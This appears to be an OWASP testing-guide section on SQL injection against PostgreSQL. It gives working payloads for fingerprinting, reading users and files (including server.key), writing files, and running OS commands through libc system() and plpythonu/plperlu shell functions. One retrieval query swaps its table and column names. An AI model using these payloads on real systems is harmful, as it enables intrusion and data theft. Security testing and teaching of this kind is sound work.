OWASP Backend Security Project Testing PostgreSQL

Overview

In this section, some SQL Injection techniques for PostgreSQL will be discussed. Keep in mind the following characteristics:

• PHP Connector allows multiple statements to be executed by using ; as a statement separator
• SQL Statements can be truncated by appending the comment char: --.
• LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From here after, we assume that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.

Description

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1

In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--

An example of a banner string that could be returned is:

 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL injection attacks, you should take into consideration the following built-in functions:

• String Length

  LENGTH(str)

• Extract a substring from a given string

  SUBSTR(str,index,offset)

• String representation with no single quotes

  CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection). In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

• CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

• chr(n): Returns the character whose ASCII value corresponds to the number n
• ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' as:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

The built-in function current_database() returns the current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Reading from a file

ProstgreSQL provides two ways to access a local file:

• COPY statement
• pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.

Example:

 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:

• retrieves the number of rows previously added in file_store with COPY statement
• retrieves a row at a time with UNION SQL Injection

Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.

Examples:

• SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.

Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

• CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

• create a stdout table

  CREATE TABLE stdout(id serial, system_out text)

• executing a shell command redirecting its stdout

  SELECT system('uname -a > /tmp/test')

• use a COPY statements to push output of previous command in stdout table

  COPY stdout(system_out) FROM '/tmp/test'

• retrieve output from stdout

  SELECT system_out FROM stdout

Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

• Check if PL/Python has been enabled on a database:

  SELECT count(*) FROM pg_language WHERE lanname='plpythonu'

• If not, try to enable:

  CREATE LANGUAGE plpythonu

• If either of the above succeeded, create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu

• Have fun with:

  SELECT proxyshell(os command);

Example:

• Create a proxy shell function:

  /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--

• Run an OS Command:

  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.

• Check if PL/perl-untrusted has been enabled:

  SELECT count(*) FROM pg_language WHERE lanname='plperlu'

• If not, assuming that sysadm has already installed the plperl package, try :

  CREATE LANGUAGE plperlu

• If either of the above succeeded, create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu

• Have fun with:

  SELECT proxyshell(os command);

Example:

• Create a proxy shell function:

  /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;

• Run an OS Command:

  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

References

• OWASP : "Testing for SQL Injection"

• OWASP : SQL Injection Prevention Cheat Sheet

• Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

• PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net